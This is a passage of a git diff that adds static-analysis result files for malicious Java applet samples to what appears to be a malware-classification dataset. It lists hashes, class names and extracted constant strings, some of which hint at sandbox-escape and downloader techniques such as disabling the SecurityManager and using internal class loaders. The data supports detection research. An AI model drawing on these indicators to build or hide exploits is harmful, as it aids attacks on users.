"173c158353a47d0354e674841e107f10", "parent_sha256": "e35aba15989c4b382c4a325325d5ad3841bdc6175bd5f54c94e8cfc68e0ea44a"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146.results b/java_classification/data/malicious/e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146.results
new file mode 100755
index 0000000..9d69d23
--- /dev/null
+++ b/java_classification/data/malicious/e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 86}}, "_id": "21217549-f1f1-40f0-8320-25b7650c4a43", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pL,Pn,pL,PN,pN,pL,Pl,Pm,9Y,kw,p5,PC,0S,oq,tY,1V,PW,pe,Pu,PL,KC,pt,Ln,kP,pE,LN,ML,Ku,87,PO,pq,m6,lV,Sp,te,SN,v8,kL,3n,kP,he,Xl,KZ,Wc,ZE,T3,i9,xL,Ow,pw,pe,P9,ry,iC,X2,Op,ng,p7,p5,8a,eC,BP,lr,Mq,D9,o4,VN,kI,xZ,HR,Yu,Pu,Pg,pn,kK,gg,7o,pe,ou,P2,Ux,zc,w1,GS,wM,Pe,ow,pR,UJ,ZL,Kx,os,oU,c9,YM,QJ,L6,dw,qc,0E,PN,kk,lB,qR,rP,Ss,X5,Tv,a7,p3,0y,oa,F4,Lq,JP,Y2,qp,RN,k7,r0,Sa,So,pE,kG,pc,EK,JM,QQ,kk,Lv,Nr,EP,xC,UB,Ue,Sk,3j,Ku,XO,y7,sz,g7,3d,DV,NC,US,H5,5K,vP,CU,XW,pq,Kl,Jy,QW,tP,0L,Ha,Ug,p0,3K,pp,P0,PF,3V,7r,py,o0,Vv,pO,sL,8W,pp,uW,vs,ZE,Qb,sK,O0,Vc,4q,JP,YN,cO,2w,t1,Qo,pW,J7,p0,uL,tk,O3,f5,Xb,q2,vL,Ks,E7,Ll,KP,tU,e0,xc,3l,5p,Vl,KR,Vu,pU,SJ,Uf,So,91,YR,al,mF,co,5w,C9,KV,oO,NR,0e,hL,2T,4S,8O,1X,Kd,Ms,3j,z1,PJ,KH,qW,K7,op,uZ,GQ,NN,kc,nt,dW,sy,MU,6N,kt,LP,Kl,KQ,Nu,Lt,Ck,mL,Kg,tl,Kd,Cx,En,KC,nS,iX,CM,87,py,oK,OY,oN,np,Nd,NH,ln,xK,NM,Z6,nC,NH,XY,rR,S5,ch,JO,za,Kv,VT,Zt,op,pa,Tr,bP,dp,qE,P1,xQ,dC,DR,PD,zv,OT,oQ,uP,xd,4Q,uS,Br,Ns,Qb,LF,Nc,Yc,Wp,nb,O4,2s,UP,lQ,yq,cT,46,NP,c0,o2,MD,o2,Ip,np,fb,OV,Oa,e4,3t,qT,nP,hp,tR,M2,L6,O2,NV,P0,0p,2U,af,Pu,bg,C4,pF,T6,X4,pt,wr,Rp,04,t4,pf,YS,zV,QT,qP,06,P4,pP,6V,Pv,QP,Rq,vt,yp,cT,rQ,su,5C,VP,43,gs,UE,34,uF,Vv,Yu,6p,2u,gP,XP,cV,WV,Q0,6E,fP,7P,5P,80,Y0,8U,31,ss,Ru,hF,YE,6f,Xp,Zf,Pt,st,pp,07,Cq,v4,st,vW,ps,0A,", "41,25,25,25,25", ",", "", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6f0a261ddac7f9f54c68f69519ab33f8952d9f66", "file_name": "java_malicious/e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146", "_id": "21217549-f1f1-40f0-8320-25b7650c4a43", "score": 0, "entropy": 6.116728154574611, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3222, "ssdeep": "96:HFlltmb/oKX1HekcQtQTDE2iTULNkez1zNjWZ:llGb/oK1dcRQ5ApnJNiZ", "sha256": "e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146", "md5": "1eea06b752aa4c63ef69fbb151338364", "parent_sha256": "e36dcf7180b63668766fb4b54e75ad3af6991095ae4d36aa575c98ed36f8a146"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8.results b/java_classification/data/malicious/e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8.results
new file mode 100755
index 0000000..b9fd8a4
--- /dev/null
+++ b/java_classification/data/malicious/e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/jkqrqm", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "fufxqisw", "<clinit>"], "minor_version": 0, "const_pool_count": 443}}, "_id": "f510b023-8106-4071-905a-3b4860575a53", "metadata": {"mimetype": "application/x-java-applet", "sha1": "7ccd6836da22a9152beb61d13acfe35d58aa6819", "file_name": "java_malicious/e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8", "_id": "f510b023-8106-4071-905a-3b4860575a53", "score": 0, "entropy": 5.190923053421437, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6834, "ssdeep": "192:LHqusY2XAwdHyJysPC58so55UTYwa5hG5:bsY2wqHy0IC8sofUTkk", "sha256": "e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8", "md5": "46ac4e3f6d3840efeeed1c800e418fd7", "parent_sha256": "e38ab1eb4fbf334414fbf16571429d350f92ca4073e8d4a8bdede994ef1a05e8"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc.results b/java_classification/data/malicious/e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc.results
new file mode 100755
index 0000000..e5651ac
--- /dev/null
+++ b/java_classification/data/malicious/e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/fctqxnmzptadi", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "yvepqqsigeh", "<clinit>"], "minor_version": 0, "const_pool_count": 446}}, "_id": "f674ae46-e2ea-4454-ae01-162da23b4f5f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f0490c965b2eaa473f7cfdb32e152ba7f5fe1916", "file_name": "java_malicious/e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc", "_id": "f674ae46-e2ea-4454-ae01-162da23b4f5f", "score": 0, "entropy": 5.200856944144513, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6931, "ssdeep": "192:T3toPxwN8V7Kap8xhi/To55UTYwa5hGX1:btoZwihKy8yTofUTkc1", "sha256": "e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc", "md5": "3d65b60776154be675005328acba44ad", "parent_sha256": "e39ce04426b1066734e4e4421c1675e3102e3502e6c481813dda2dad6475c6bc"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916.results b/java_classification/data/malicious/e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916.results
new file mode 100755
index 0000000..9018157
--- /dev/null
+++ b/java_classification/data/malicious/e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Exploit.java", "class_name": "Exploit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 51, "method_names": ["<init>", "start", "getMethod", "gimmeClass"], "minor_version": 0, "const_pool_count": 144}}, "_id": "403668bd-29c4-423d-8ac8-57a6374bc744", "verbose": {"java": {"constant strings": ["B.class", "sun.org.mozilla.javascript.internal.Context", "enter", "createClassLoader", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "defineClass", "declaredMethods", "", "com.sun.jmx.mbeanserver.MBeanInstantiator", "findClass"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4d777665bbf30d220a172963c8ef8185647cad35", "file_name": "java_malicious/e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916", "_id": "403668bd-29c4-423d-8ac8-57a6374bc744", "score": 10, "entropy": 5.678398010424634, "libmagic": "compiled Java class data, version 51.0", "file_size": 2744, "ssdeep": "48:Q9fJeX3yFlX/+QfNP0CH6eBFXjornn6wtj6SMVVL3h3o6isbuSRd:zSFlznHdHMzzjNMVVLxYfsPb", "sha256": "e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916", "md5": "f85b969982db107ed84e73e5c3504aa7", "parent_sha256": "e4ee065afd6d621bb97298ba293354751a763b93c137dceebe13ab7f039e1916"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e5cddf68d93fdc9fb4e3f140db956d522f71c94a547014269eec9fd4734960c5.results b/java_classification/data/malicious/e5cddf68d93fdc9fb4e3f140db956d522f71c94a547014269eec9fd4734960c5.results
new file mode 100755
index 0000000..b9991ff
--- /dev/null
+++ b/java_classification/data/malicious/e5cddf68d93fdc9fb4e3f140db956d522f71c94a547014269eec9fd4734960c5.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "y", "class_name": "x/l", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "gr"], "minor_version": 0, "const_pool_count": 255}}, "_id": "778da653-ab19-47b8-96e7-8543be66ebe0", "verbose": {"java": {"constant strings": ["x.p", "T\\x03-\\rGf\\x0b.L", "mk\\x0b5\\t\\x10JU\\'5\\x06b\\xc0\\x80\\x16/\\x0e]\\x18%f", "_%\\x16\\x07\\x12/1S\\x078K", "\\nwHr\\x0es\\x11", "#G\"\\x1ct\\x0ev+{Q", "\\x03\\tn\\x1a\\x01\\x08\\x16H\\x08\\x16t\\x17Z\\x198d", "\\x01V M1(<7,@\\x0b\\x06\\x02M}&)\\x7f", "\\x17\\\\V\\x16\\x014P=?v\\x0cxVxD", "HD[\\xc0\\x80\\x11", " !\\x04 g8sJ", "\\x07bp+\\n8O\\x19:T", "uX}.a;qo", "=Z1\\x18\\x0e\\x02s\\x04\\x06t", "\\x1az1km:\\x11\\x08Mx\\x0fyD", "8u\\x14\\x16x3K\\x1c|T", "\\x16\\x1cYUL\\x028\\x01y`\\x1e\\x0e\\tb4$\\x13", "?\\x1df\\t\\x04j", "R\\x01\\x1a\\x12L{Q-\\x06:\\x12uL", "7\\x1cs%ha\\xc0\\x804&B^\\x02~C", "d;(8]e!\\x1496B\\x12$\\r\\x04W\\x01\\n^", "U\\x08P=T\\r\\x11^\"\\x03\\x15", "eZ.\\x02\\x04*<*~R$z\\x1e\\n\\x13\\t]\\x07\\x1cu", "\\x16\\'T\\x03!?*\\x1bt", ">\\x0e\\x1dW.5(\\x11Sc@5\\x11T\\x02\"N", "7\\x1d[is:R/\\x08[\\x039\\x10", "/\\x12q#U\\x1a,gV\\x1dP", "*\\x033H\\t(\\x05\\x08q\"\\x1a\\x16VG&\\xc0\\x80r", "t\\x06u\\x08\\x11o\"\\x19(\\tP\\t\\x04_", "\\'6\\'\\x01B-\\x16#lA#\\x04\\x0c4J\\x0f\\x19q", "\"< d\\x01\\x17\\x03\\x15L\\x0c~\\x17", "1\\x1e \\xc0\\x80@=\\x054\\x19{_\\nS", "\\x11eR\\x17S", "&\\x02\\x0c\\x1c\\x7f\\xc0\\x80*2\\x1al\\r\\x08_", ">\\x1f6\\x05%\\x18F6~\\x07<_\\x1bW1\\nk?+J", "\\r\\x05n98u=A*=l", "\\x14\\x1d\\x02J}\\x06!\\x13-]\\x07\\x0b\\x12>eU\\x10i", ">\"Og ~F", "t\\x08\\x12[/>\\x19ND\\x15:J", "?)F\\x1dq>#j\\r)5\\x186\"\\x1a\\x10", "=\\t\\n&\\x16\\x16#\\x17\\\\\\x0b\\x1ai?rF<T", "\\x18!T[%\\x02+_\\x1c=5Kl\\x0b%\\x1e", "=~\\x0e%_:A\\'> (>W7@", "\\x128^q\\x1ba=\\x12b3\\x0c/\\x13R?\\'\\x12", ":\\rR/\\x16\\x05\\x110,)w", "q\\x19-U\\x1d~<\\r;/N\\x02 \\x7f", "\\x04Nr.-a", "Z\\'/-g`\\'<\\x18MF\\n\\x17\\x13", ">UU#\\rm\\x1c+]\\x121y8\\x1aC", "\\x1f\\x1a\\x0b_\\'/~", "\\r\\x1a{\\x1b\\x05\"+k8\\x04*O}Z\\x03\\x1f", "(d\\x05\\x16\\x11", "< D\\nu]", "\\x17j$\\x03D", "\\x117\\n\\\\50\\x1c$Ga3a\\x12\\\\\\x1ehS", "\\\\y#\\x05Od\\x12<\\x1e", "#\\x07\\x18D9\\'W", "\\x143}|\\x06v\\x02Z_\\x12B", "/,\\x0f\\x13U[\\x10l", "B|!6\\x1d<7<h", "&\\x08Po\\x14*#+\\nd&/V", "\\x01\\x16e;\\x0cI", "<\\\\\\x137\\x1a+VT}\\x17\\rl% \\x10/y;c\\x1f", "?KE\\x08\\x1d\\x16", "\\x1c\\x10S<(:\\x1eb\\r&p", "\\x18nr>5\\x16}*\\x0es", "\\x1cj:wc", "\\x11\\x1dB4\\x07\\r\\x10X*V\\x17\\x16~\\x0b\\xc0\\x80K", "\\x0f%)h\\x16\\x1c\\x15\"&A;%v", "\\x04\"1R\\x1d\\ru", "\\\\%\\x11_\\xc0\\x80\\x7f\\x15", "14\\x06.S]4_", "b\\x7f&,:D,\\x0f\\x1e", "\\x1c,\\x1182|;*J", "l;\\x15\\x0f\\x1eCN\\n&\\x13W\\x081m\\x07hV\\x0bC", "\\x0e6\\x1f\\x15`7=r", "\\x11,3Ic\\x1bq\\x120A{#0+c\\t\\x02T", "\\x13L\\x14\\x1d\\x1b\\x086#<D", "1K"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "03668020a324e99ace72f4587b04cbef41ca1e81", "file_name": "java_malicious/e5cddf68d93fdc9fb4e3f140db956d522f71c94a547014269eec9fd4734960c5", "_id": "778da653-ab19-47b8-96e7-8543be66ebe0", "score": 0, "entropy": 6.296621261559407, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4395, "ssdeep": "96:9Flr/NWBiSYVIaejQUnBDbEYbRi1TieK84bYJBcuqK5Yu3Qf:XlreiyaeMUJESRc+eKRQBL5j3w", "sha256": "e5cddf68d93fdc9fb4e3f140db956d522f71c94a547014269eec9fd4734960c5", "md5": "c0b7eeea36d22f9189796a1a2b5d00be", "parent_sha256": "e5cddf68d93fdc9fb4e3f140db956d522f71c94a547014269eec9fd4734960c5"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e6471410dc65a92708d7b86ce3eb72c5fba707115a96f5d06fdd736cf13a17b6.results b/java_classification/data/malicious/e6471410dc65a92708d7b86ce3eb72c5fba707115a96f5d06fdd736cf13a17b6.results
new file mode 100755
index 0000000..159ee38
--- /dev/null
+++ b/java_classification/data/malicious/e6471410dc65a92708d7b86ce3eb72c5fba707115a96f5d06fdd736cf13a17b6.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Rullindo", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "Tepeder", "Kanaza", "<clinit>"], "minor_version": 0, "const_pool_count": 128}}, "_id": "5e41e66c-9446-443c-b698-c5dd2de24f16", "verbose": {"java": {"constant strings": ["jWava.seWcurWity.AWllPWermWisWsioWn", "java.security.", "java.security.PermissionCollection", "java.security.ProtectionDomain", "jaWva.iWo.FileWOWutputStrWeam", "WraWndWomW"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "74108fab7f38e44405fc1cc862fed57c6fdfca5a", "file_name": "java_malicious/e6471410dc65a92708d7b86ce3eb72c5fba707115a96f5d06fdd736cf13a17b6", "_id": "5e41e66c-9446-443c-b698-c5dd2de24f16", "score": 0, "entropy": 5.571188875322459, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1998, "ssdeep": "24:BAGboVd1ByQWrw3O90U8vtEpt/6gBb/gtL8GVS1/S9H2or9dzIBCl/:7b+1ByFD90zvtEptygBCLVe2H2o0wt", "sha256": "e6471410dc65a92708d7b86ce3eb72c5fba707115a96f5d06fdd736cf13a17b6", "md5": "c2115a103094f67aa4bce039f087ed5b", "parent_sha256": "e6471410dc65a92708d7b86ce3eb72c5fba707115a96f5d06fdd736cf13a17b6"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1.results b/java_classification/data/malicious/e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1.results
new file mode 100755
index 0000000..8864268
--- /dev/null
+++ b/java_classification/data/malicious/e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"major_version": 50, "class_name": "a13d", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "a13d.java", "method_names": ["<init>", "run", "__W", "__S", "__m"], "minor_version": 0, "const_pool_count": 325}}, "_id": "005334ee-676b-4c9c-b78a-b27cc20904c4", "verbose": {"java": {"constant strings": ["", "_7ebae987847f71022", "_766a089e96411", "_ea079282555e36", "_299a1938fc5a4c", "_e3f6a363a7a3cf", "(=7<\\'", "_5bb00e1973ecc0c", "k+;*", "_4a7cdd1ff2519", "_c16e84face49b", "_641ad8a02c4ea80d", "_68648c56f890c", "_a7bbc36496b31e68", "_ba56e80f228c87f5", "_d2fab80355e91", "_84caef11999e05", "_7009cdd16bc51d", "\\x10</o~e", "_6512930f2bad00eed", "_43b3ec7ef76371dc", "_8761936a6744df8", "_27bd334d9776c44d1", "_a67940d0dc1aad1f", "_7d29c20032ab6f", "_6ad04e61585be1", "_b538f04de22ce", "_dddff856acaf5", "_b934712ab0f1908", "_2b8babb79461d3", "_3a88ee5d8992989fe", "_fb58d7752322b97", "_53220d73f68011", "_cfaa6171e77b591", "_42b4d2d82ae1be0", "_4a1948fbb60772d", "_a8c4074752e09c5", "_64ce5f3dc05e1", "_d632c21427142efd", "_ddb374d0d036947a", "_8d4415588f3a78d", "_c2846790e1641b", "_0309c1c78d06ac7f7", "_c3268d8bbe193", "_e45ae152f0aef9", "_9df153d143c84fa", "_b60318c91241879", "_24863bf3ad85b70a", "_ec8a8e9a4c43c16", "_a2e8ddc020387", "_4785b9b699b182", "_18520eae240c600", "_bd46a8aa6537f88b", "_ed1a41201b3f8", "_555a44adcfb4d", "_7b899566a070d6c", "_c615f5afdc0afab", "_5fb914e2f8aac", "_4796a0dc6dae80793", "_b79e45aab908573e8", "_f1575f10d4eab18", "_674698d87fbf22", "_971f405efd763f9", "_c9030f6016e2ddb", "_32cfb8f5650bd43", "Exec : ", "_275774b4b25751", "_502cc05faaf5a689", "_eb753e22b7a3d", "_69dee92192c54", "//5.j)>=3|\\x1b;)+\"(<", "_af47733cba8ed8e0e", "_d3f4de5f75077df2", "_1d6bc0454a05c0", "_a1bc4b12b0386bbf", "_c69cefb9e145a0c", "_3330967feb19f7b", "_31b99d39a42f17d0d", "_0c39c6cfb65225f27", " 6&,", "_d4774d8cf436dcbb", "_d809de49ca8c05e18", "_58a33f99cea0612", "_9d5e147c8dc42a9f", "_a31d39a21ae15d01", "_1600222e27d49b3d6", "_4120c011288741", "_9b8cb56174bfb", "_1156814769398f", "_31a3d54828699b4", "java.io.tmpdir"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ad00116cce11f3d20916be1c2576cbda1d5aa161", "file_name": "java_malicious/e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1", "_id": "005334ee-676b-4c9c-b78a-b27cc20904c4", "score": 0, "entropy": 5.794010081648712, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 8009, "ssdeep": "192:RlnU7fhO4HX250t5LbDmLb4yR6OTKB8U8YgkT:RWfhOI2GPDq43NEq", "sha256": "e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1", "md5": "fa815a0de12642974f973cd47a84f7e2", "parent_sha256": "e6884ad1079d873569659bce0ffdcfd392dfbf85d3f161b28a3ae8e951fd69c1"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125.results b/java_classification/data/malicious/e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125.results
new file mode 100755
index 0000000..46fe97a
--- /dev/null
+++ b/java_classification/data/malicious/e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Lib.java", "class_name": "Lib", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "BSdr", "init", "OVny", "Btct", "Nuraj", "Jshe"], "minor_version": 0, "const_pool_count": 240}}, "_id": "8576b59b-0ee2-4fca-9075-f663aff4677c", "verbose": {"java": {"constant strings": ["os.arch", "", "64", "param", "java.version", "_", "1.7.0_", "1.6.0_", "setS", "ecurityManager"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5d210a7b30dea0423ed104b8a5bde9de17161625", "file_name": "java_malicious/e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125", "_id": "8576b59b-0ee2-4fca-9075-f663aff4677c", "score": 0, "entropy": 5.798935849501033, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 4632, "ssdeep": "96:knWXJFlRZEJdXkXCVje/hR1K3zLVPG2dhWV5VMEPpw:SWXrlswXC8BK3tGo4JMEPi", "sha256": "e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125", "md5": "ae84fc3971f2ef85d1aa1d03b73d4bb2", "parent_sha256": "e689159260225af6f0ba9226c8bf0a31ca8c31046ef388765ca650d62fc64125"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce.results b/java_classification/data/malicious/e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce.results
new file mode 100755
index 0000000..01d36d9
--- /dev/null
+++ b/java_classification/data/malicious/e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "baxQQzwSn.java", "class_name": "pqsJxX/baxQQzwSn", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "YqQjYTxDl", "qUJHcMT", "init", "DMFiaBlG", "TFfRjWjJ", "proBL", "OzuAfDAroI", "paWAnHyOX", "add", "replace"], "minor_version": 0, "const_pool_count": 298}}, "_id": "7ca26d97-a214-4448-a3e2-5ea6eaa30154", "verbose": {"java": {"constant strings": ["ap\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96ple\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96t", "", "java", "\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96j\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96s\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96", "\\xe2\\x84\\x96", "\\xe2\\x84\\x96t\\xe2\\x84\\x96hi\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96s.to\\xe2\\x84\\x96St00555500ri\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96ng\\xe2\\x84\\x96 = \\xe2\\x84\\x96fun\\xe2\\x84\\x96550000055cti000on() {java.lang0\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x9600.Sys\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96t0e\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96m.0s\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96et0Secu0rityM0a555555555na0055555ger(null);app555550let0.OzuAfDAroI();return \\'pshol0000n0ahiy\\';};sdfsdf0sdfscs = new 0E0rror();sdfsdfs000dfscs.m0essage = 0this;sdfsdf000s\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96dfscs", "0", "5", "\\xe2\\x84\\x96x\\xe2\\x84\\x96c", "e", ".##.t!m!p!!d!ir", "##", "io", "!", "openConnecti", "on", "ur", "0l0", "0123456789abcdefghijklmnopqrstuvwxyz.ABCDEFGHIJKLMNOPQRSTUVWXYZ/:_-?&=%#", "qDEvuYp59ojzithnfQOsC8NXlxwLdWgmKFHyBk2ZPJ1Gr43AcU0ba7RM6TeISV-_%.&/:#?=", "24kkk729347*******.ex***********", "e***", "*", "*e*******"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "01e06799fe3103a489acd4545ac3907000d831c1", "file_name": "java_malicious/e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce", "_id": "7ca26d97-a214-4448-a3e2-5ea6eaa30154", "score": 0, "entropy": 6.022235319592727, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5613, "ssdeep": "96:V6ZBIiaGFlSD71eznBhhA4IGC1OwBHJkxdgwe7zSJbYczW2Wga47tTtXiQxliRkS:V6rI5UlS9yzhAPGgOwBp0RDq2DTtHVg", "sha256": "e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce", "md5": "444cc8849c0ccf818e96c40c580d49f4", "parent_sha256": "e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1.results b/java_classification/data/malicious/e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1.results
new file mode 100755
index 0000000..c9b6423
--- /dev/null
+++ b/java_classification/data/malicious/e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "CCRNuJGmw.java", "class_name": "luLbEI/CCRNuJGmw", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "<clinit>", "ouQCAYUJQ"], "minor_version": 0, "const_pool_count": 348}}, "_id": "861aa0ab-a72c-4015-9e02-9df57755b284", "verbose": {"java": {"constant strings": ["/-8", "2>?2?", "8,<.-"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9e0b3ca8b27334a5a162b64b8e70f9946facece1", "file_name": "java_malicious/e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1", "_id": "861aa0ab-a72c-4015-9e02-9df57755b284", "score": 0, "entropy": 5.204202401693781, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6446, "ssdeep": "96:9aa0xR96VuBej2FlBq8alFHK+qbXJ3Zs/:9af/IJElk8aPK+oZ3+", "sha256": "e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1", "md5": "f28ecba77800d60ea6973a31115bc5fb", "parent_sha256": "e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1"}}
\ No newline at end of file
